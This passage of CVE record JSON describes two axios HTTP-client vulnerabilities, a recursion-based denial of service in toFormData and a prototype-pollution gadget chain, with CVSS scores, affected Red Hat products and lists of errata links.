"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42039"
},
{
"name": "RHBZ#2461630",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461630"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42039.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25089"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16874"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24473"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24539"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25273"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22619"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21338"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14937"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25041"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17468"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17474"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21772"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16476"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16534"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16532"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16535"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16542"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22840"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22629"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21017"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24853"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19375"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22465"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23361"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26214"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26225"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24536"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25271"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17657"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17699"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19109"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:25089: HawtIO HawtIO 4.4.0"
},
{
"lang": "en",
"value": "RHSA-2026:16874: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:24473: Network Observability (NETOBSERV) 1.12.0"
},
{
"lang": "en",
"value": "RHSA-2026:24539: Red Hat Advanced Cluster Management for Kubernetes 2.15"
},
{
"lang": "en",
"value": "RHSA-2026:25273: Red Hat Advanced Cluster Management for Kubernetes 2.16"
},
{
"lang": "en",
"value": "RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:22619: Red Hat Data Grid 8.6.1"
},
{
"lang": "en",
"value": "RHSA-2026:21338: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:33574: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:26234: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:14937: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:25041: Red Hat Migration Toolkit 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:24977: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:17468: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:17474: Red Hat OpenShift Container Platform 4.21"
},
{
"lang": "en",
"value": "RHSA-2026:21772: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:16476: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:16534: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:16532: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:16535: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:16542: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:22840: Red Hat Quay 3.10"
},
{
"lang": "en",
"value": "RHSA-2026:22629: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:21017: Red Hat Quay 3.14"
},
{
"lang": "en",
"value": "RHSA-2026:24853: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:19375: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:22465: Red Hat Quay 3.17"
},
{
"lang": "en",
"value": "RHSA-2026:23361: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:26214: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26225: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:24536: multicluster engine for Kubernetes 2.10"
},
{
"lang": "en",
"value": "RHSA-2026:25271: multicluster engine for Kubernetes 2.11"
},
{
"lang": "en",
"value": "RHSA-2026:17657: multicluster engine for Kubernetes 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:17699: multicluster engine for Kubernetes 2.8"
},
{
"lang": "en",
"value": "RHSA-2026:19109: multicluster engine for Kubernetes 2.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-04-24T19:01:44.887Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-04-24T18:01:30.775Z",
"value": "Made public."
}
],
"title": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-674",
"description": "CWE-674: Uncontrolled Recursion",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T18:01:30.775Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9"
}
],
"source": {
"advisory": "GHSA-62hf-57xw-28j9",
"discovery": "UNKNOWN"
},
"title": "Axios: unbounded recursion in toFormData causes DoS via deeply nested request data"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42039",
"datePublished": "2026-04-24T18:01:30.775Z",
"dateReserved": "2026-04-23T16:05:01.709Z",
"dateUpdated": "2026-07-01T12:04:57.748Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-40175 (GCVE-0-2026-40175)
Vulnerability from cvelistv5 – Published: 2026-04-10 19:23 – Updated: 2026-06-30 12:08| URL | Tags | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2026-04-13T09:32:22.149Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081"
}
],
"title": "CVE Program Container",
"x_generator": {
"engine": "ADPogram 0.0.1"
}
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-40175",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-12T20:43:26.884164Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-12T20:43:40.670Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"defaultStatus": "unknown",
"product": "gWAP",
"vendor": "Siemens",
"versions": [
{
"lessThan": "V3.1.1",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-12T12:09:07.347Z",
"orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
"shortName": "siemens-SADP"
},
"references": [
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-876049.html"
}
],
"x_adpType": "supplier"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.15::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1.8::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Migration Toolkit 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.14::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.15::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.19::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.19",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3.2::el9"
],
"defaultStatus": "affected",
"product": "Streams for Apache Kafka 3.2.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.10::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.9::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el10",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "unaffected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:kueue_operator:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Build of Kueue",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "unaffected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "unaffected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
}
],
"datePublic": "2026-04-10T19:23:52.285Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability, known as Prototype Pollution, can be exploited through a specific \"Gadget\" attack chain. This allows an attacker to escalate a Prototype Pollution vulnerability in a third-party dependency, potentially leading to remote code execution or a full cloud compromise, such as bypassing AWS IMDSv2."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-915",
"description": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-30T12:08:57.985Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-40175"
},
{
"name": "RHBZ#2457432",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2457432"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40175.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24762"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16874"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13548"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14937"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25041"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19712"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:15091"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14774"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10104"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20041"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17468"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17474"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10175"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8483"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8484"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8490"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8491"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8493"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8499"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8500"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8501"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10172"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10153"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13571"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13542"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17657"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17699"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11414"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24762: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:16874: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:13548: Red Hat Advanced Cluster Management for Kubernetes 2.15"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:14937: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:25041: Red Hat Migration Toolkit 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:19712: Red Hat OpenShift AI 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:15091: Red Hat OpenShift Container Platform 4.14"
},
{
"lang": "en",
"value": "RHSA-2026:14774: Red Hat OpenShift Container Platform 4.15"
},
{
"lang": "en",
"value": "RHSA-2026:10104: Red Hat OpenShift Container Platform 4.16"
},
{
"lang": "en",
"value": "RHSA-2026:20041: Red Hat OpenShift Container Platform 4.19"
},
{
"lang": "en",
"value": "RHSA-2026:17468: Red Hat OpenShift Container Platform 4.20"
},
{
